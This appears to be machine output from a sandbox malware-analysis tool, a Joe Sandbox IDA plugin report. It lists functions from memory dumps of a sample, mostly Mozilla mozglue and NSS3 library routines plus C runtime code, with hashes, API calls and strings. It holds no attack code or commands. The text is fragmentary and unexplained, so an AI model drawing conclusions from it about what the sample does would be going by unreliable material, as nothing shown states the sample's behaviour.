Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: f25619f23346ab4698f4fa30a86e841a0979d6fdd9ae3f4bb0696ff8f635b4c5
Instruction ID: b29aa9535f5536b447087981c6ee7a5152e027def6c4e24b946597a0b03f4de3
Opcode Fuzzy Hash: f25619f23346ab4698f4fa30a86e841a0979d6fdd9ae3f4bb0696ff8f635b4c5
Instruction Fuzzy Hash: 66416AB5200700AFDB14DF29C488A56BBF9FF49314F10446DEA6A87B81DB75F854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE85AC

Part of subcall function 6CCE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CCE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE767F
Part of subcall function 6CCE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CCE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE7693
Part of subcall function 6CCE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CCE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CCE85B2

Part of subcall function 6CCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CCC5EDB
Part of subcall function 6CCC5E90: memset.VCRUNTIME140(6CD07765,000000E5,55CCCCCC), ref: 6CCC5F27
Part of subcall function 6CCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CCC5FB2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 7635f210ff7278561510080d26f2b6ec710de9a1b084696e6f232930535ee346
Instruction ID: 4ec8840a1763337350ed4a9a1098fb6d18a2bbcf9bb2a1e2d0dd5c1461ffeac2
Opcode Fuzzy Hash: 7635f210ff7278561510080d26f2b6ec710de9a1b084696e6f232930535ee346
Instruction Fuzzy Hash: B22171742016019FFB14DB28C888E5AB7B9AF8930CF14482DE65B83B41EB35F948CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCDCBE8: GetCurrentProcess.KERNEL32(?,6CCA31A7), ref: 6CCDCBF1
Part of subcall function 6CCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCA31A7), ref: 6CCDCBFA

Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCB4A68), ref: 6CCE945E
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCE9470
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCE9482
Part of subcall function 6CCE9420: __Init_thread_footer.LIBCMT ref: 6CCE949F

GetCurrentThreadId.KERNEL32 ref: 6CCEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CCEF598), ref: 6CCEF621

Part of subcall function 6CCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCE94EE
Part of subcall function 6CCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCE9508

GetCurrentThreadId.KERNEL32 ref: 6CCEF637
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8,?,?,00000000,?,6CCEF598), ref: 6CCEF645
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8,?,?,00000000,?,6CCEF598), ref: 6CCEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CCEF62A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: d39b1d659a68f8999d2b62b06a8634685697b3f6c3e965e2370442c436976472
Instruction ID: db536b7cbeb17b34be2cfbf03e8cd23cb556b2f397d871a86ecc43734b3a1cf9
Opcode Fuzzy Hash: d39b1d659a68f8999d2b62b06a8634685697b3f6c3e965e2370442c436976472
Instruction Fuzzy Hash: D311C471201204BFEB04AF18D4449D5B77DFB8A76CB500415EB0687F41DBBAE812CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCDAB89: EnterCriticalSection.KERNEL32(6CD2E370,?,?,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB94
Part of subcall function 6CCDAB89: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CCDD9F0,00000000), ref: 6CCB0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CCB0F3C
__Init_thread_footer.LIBCMT ref: 6CCB0F50
FreeLibrary.KERNEL32(?,6CCDD9F0,00000000), ref: 6CCB0F86

Strings

CoInitializeEx, xrefs: 6CCB0F36
combase.dll, xrefs: 6CCB0F18

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 8c331c8950731041e80d336212f568d5730ce4fffefc36c24b1d28a300625a99
Instruction ID: 604a25606a1ee33ee252705dae56ad14029b5a4b86ef3a577416c61de061581b
Opcode Fuzzy Hash: 8c331c8950731041e80d336212f568d5730ce4fffefc36c24b1d28a300625a99
Instruction Fuzzy Hash: E51133B5705250ABFF00DFA5CA08E5E377CFB4A726F044A19EB0592A80E77CA405CA55

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCB4A68), ref: 6CCE945E
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCE9470
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCE9482
Part of subcall function 6CCE9420: __Init_thread_footer.LIBCMT ref: 6CCE949F

GetCurrentThreadId.KERNEL32 ref: 6CCEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCEF561

Part of subcall function 6CCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCE94EE
Part of subcall function 6CCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCE9508

GetCurrentThreadId.KERNEL32 ref: 6CCEF577
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEF585
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CCEF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CCEF499
[I %d/%d] profiler_resume, xrefs: 6CCEF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CCEF56A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 6e2d003b7d4daf63c996d48c2f92fbd4e316436cd645d97c830e6c81b017efa0
Instruction ID: a5a2c39b36c2bfff44ddc9a224a2d3238c37b0a364ddaf3d3b10d3f88a71cfcc
Opcode Fuzzy Hash: 6e2d003b7d4daf63c996d48c2f92fbd4e316436cd645d97c830e6c81b017efa0
Instruction Fuzzy Hash: 46F05475600214AFFB106F65D84899A7BBDEB8A26DF100415EB0683741EBBA9805C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CCDCFAE,?,?,?,6CCA31A7), ref: 6CCE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CCDCFAE,?,?,?,6CCA31A7), ref: 6CCE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CCA31A7), ref: 6CCE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CCA31A7), ref: 6CCE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCE061B, 6CCE0625
<jemalloc>, xrefs: 6CCE05FA, 6CCE060F

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: ccb2c3b6b4327cc6b6ed446341c41a24856f3e7cbdb578158b88d5809f543328
Instruction ID: aeb20c0edb877c024f60f62f860bcdd7abdde3d4f88f47cb9e611c47b86acfff
Opcode Fuzzy Hash: ccb2c3b6b4327cc6b6ed446341c41a24856f3e7cbdb578158b88d5809f543328
Instruction Fuzzy Hash: BAE08CE2A0505037F5142356BC86DBB765CDBC6134F080039FE0D82711E94AAD1A91F6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 180b2afbb2df1ccf31f20de035bd615206d972f8fa7d370159b167a5bfd7cab7
Instruction ID: 75a41a389bbba5c5f1202e9c8f5215239ad36675f4d9d74ce27131b27a00004e
Opcode Fuzzy Hash: 180b2afbb2df1ccf31f20de035bd615206d972f8fa7d370159b167a5bfd7cab7
Instruction Fuzzy Hash: 71A138B0A006458FDB24CF69C694A9AFBF5BF49304F44866ED54AA7B40E730AA45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD014E2
GetCurrentThreadId.KERNEL32 ref: 6CD01546
InitializeConditionVariable.KERNEL32(?), ref: 6CD015BA
free.MOZGLUE(?), ref: 6CD016B4

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 2fd02104e80643f231a0d26a2f130009295894b703a39b0dfe5bd0d560f8ccbe
Instruction ID: a4ecdea4dfeaaea1bd5ff6c1f35204c3345c6aa7315f2e2bccb2aa6452e32935
Opcode Fuzzy Hash: 2fd02104e80643f231a0d26a2f130009295894b703a39b0dfe5bd0d560f8ccbe
Instruction Fuzzy Hash: 3C61E171A00754DBDB219F28C880BDEB7B5BF8A308F44851CEE8A57711EB35E949CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE4CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE4C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CE4DAE2,?), ref: 6CE4C6C2

PR_Now.NSS3 ref: 6CE4CD35

Part of subcall function 6CEA9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CEF0A27), ref: 6CEA9DC6
Part of subcall function 6CEA9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CEF0A27), ref: 6CEA9DD1
Part of subcall function 6CEA9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEA9DED

Part of subcall function 6CE36C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CDE1C6F,00000000,00000004,?,?), ref: 6CE36C3F

PR_GetCurrentThread.NSS3 ref: 6CE4CD54

Part of subcall function 6CEA9BF0: TlsGetValue.KERNEL32(?,?,?,6CEF0A75), ref: 6CEA9C07

Part of subcall function 6CE37260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CDE1CCC,00000000,00000000,?,?), ref: 6CE3729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE4CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CE4CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CE4CE2C

Part of subcall function 6CE410C0: TlsGetValue.KERNEL32(?,6CDE8802,00000000,00000008,?,6CDDEF74,00000000), ref: 6CE410F3
Part of subcall function 6CE410C0: EnterCriticalSection.KERNEL32(?,?,6CDE8802,00000000,00000008,?,6CDDEF74,00000000), ref: 6CE4110C
Part of subcall function 6CE410C0: PL_ArenaAllocate.NSS3(?,?,?,6CDE8802,00000000,00000008,?,6CDDEF74,00000000), ref: 6CE41141
Part of subcall function 6CE410C0: PR_Unlock.NSS3(?,?,?,6CDE8802,00000000,00000008,?,6CDDEF74,00000000), ref: 6CE41182
Part of subcall function 6CE410C0: TlsGetValue.KERNEL32(?,6CDE8802,00000000,00000008,?,6CDDEF74,00000000), ref: 6CE4119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CE4CE40

Part of subcall function 6CE414C0: TlsGetValue.KERNEL32 ref: 6CE414E0
Part of subcall function 6CE414C0: EnterCriticalSection.KERNEL32 ref: 6CE414F5
Part of subcall function 6CE414C0: PR_Unlock.NSS3 ref: 6CE4150D

Part of subcall function 6CE4CEE0: PORT_ArenaMark_Util.NSS3(?,6CE4CD93,?), ref: 6CE4CEEE
Part of subcall function 6CE4CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CE4CD93,?), ref: 6CE4CEFC
Part of subcall function 6CE4CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CE4CD93,?), ref: 6CE4CF0B
Part of subcall function 6CE4CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CE4CD93,?), ref: 6CE4CF1D

Part of subcall function 6CE4CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CE4CD93,?), ref: 6CE4CF47
Part of subcall function 6CE4CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CE4CD93,?), ref: 6CE4CF67
Part of subcall function 6CE4CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CE4CD93,?,?,?,?,?,?,?,?,?,?,?,6CE4CD93,?), ref: 6CE4CF78

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3fbffa06d71e6504f66d33f7605db7687ce2fdff99dc3313e1c7f5667a50f8dc
Instruction ID: 16706ab19dec4a35ef88fc8f62417e3be6ec7821246c894779165c158aecae3f
Opcode Fuzzy Hash: 3fbffa06d71e6504f66d33f7605db7687ce2fdff99dc3313e1c7f5667a50f8dc
Instruction Fuzzy Hash: D85190B6B001149BEB10DF69EC40FAA73F4AF48348F358528D9599BB41EB31E909CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CCFD38A,?), ref: 6CCFDC6F
free.MOZGLUE(?,?,?,?,?,6CCFD38A,?), ref: 6CCFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CCFD38A,?), ref: 6CCFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CCFD38A,?), ref: 6CCFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CCFD38A,?), ref: 6CCFDD4A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 885a28bd080241a09a10a7800219b21b9e08808c82deb94aaf3ecca858e4e0ad
Instruction ID: 807a62bba6ff0aa58c45365bfc2c5f2232914a9f5489f0ee2995c250ad032796
Opcode Fuzzy Hash: 885a28bd080241a09a10a7800219b21b9e08808c82deb94aaf3ecca858e4e0ad
Instruction Fuzzy Hash: B7417CB5E00605DFCB40CF99C89099ABBF5FF88314B654569DA56ABB10E771FC01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00417BAE

Part of subcall function 00417641: __mtinitlocknum.LIBCMT ref: 00417657
Part of subcall function 00417641: __amsg_exit.LIBCMT ref: 00417663
Part of subcall function 00417641: EnterCriticalSection.KERNEL32(00000000,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D,?,?,00417158,00000000,00421AC0,0041719F), ref: 0041766B

DecodePointer.KERNEL32(004219C8,00000020,00417CF1,00000000,00000001,00000000,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D), ref: 00417BEA
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417BFB

Part of subcall function 004179C2: EncodePointer.KERNEL32(00000000,004191B2,00423DC8,00000314,00000000,?,?,?,?,?,00417F08,00423DC8,Microsoft Visual C++ Runtime Library,00012010), ref: 004179C4

DecodePointer.KERNEL32(-00000004,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C21
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C34
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C3E

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction ID: 2ecc3aad81c9b81e2b27e7e3d170e1f8428b359c85680f8586e03e13f1a28f2c
Opcode Fuzzy Hash: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction Fuzzy Hash: 39314C70A58309DBDF509FA9D8846DDBBF1BB48314F10802BE001A6290EB7C49C5CFAD

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CCDFA80: GetCurrentThreadId.KERNEL32 ref: 6CCDFA8D
Part of subcall function 6CCDFA80: AcquireSRWLockExclusive.KERNEL32(6CD2F448), ref: 6CCDFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CCE67C8

Part of subcall function 6CCF4290: memcpy.VCRUNTIME140(?,?,6CD02003,6CD00AD9,?,6CD00AD9,00000000,?,6CD00AD9,?,00000004,?,6CD01A62,?,6CD02003,?), ref: 6CCF42C4

Strings

data, xrefs: 6CCE6593

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
